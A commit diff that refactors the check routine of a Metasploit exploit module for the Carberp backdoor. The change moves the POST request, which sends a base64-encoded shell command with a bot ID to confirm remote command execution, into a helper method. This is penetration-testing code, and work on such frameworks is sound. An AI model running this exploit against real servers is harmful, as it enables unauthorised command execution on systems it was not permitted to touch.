Applied some refactoring to decrease line count

modules/exploits/multi/http/carberp_backdoor_exec.rb

@@ -54,19 +54,9 @@ class Metasploit3 < Msf::Exploit::Remote
 	end
 
 	def check
-		uri = normalize_uri(target_uri.path.to_s)
 		confirm_string = rand_text_alpha(8)
 		cmd = "echo '#{confirm_string}';"
-		request_parameters = {
-			'method'	=> 'POST',
-			'uri'		=> uri,
-			'vars_post'	=>
-				{
-					'id' => datastore['BOTID'],
-					'data' => Rex::Text.encode_base64(cmd.unpack('H*'))
-				}
-		}
-		shell = send_request_cgi(request_parameters)
+		shell = http_send_command(cmd)
 		if (shell and shell.body =~ /#{confirm_string}/)
 			return Exploit::CheckCode::Vulnerable
 		end
@@ -85,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
 				}
 		}
 		res = send_request_cgi(request_parameters)
+		return res
 	end
 
 	def exploit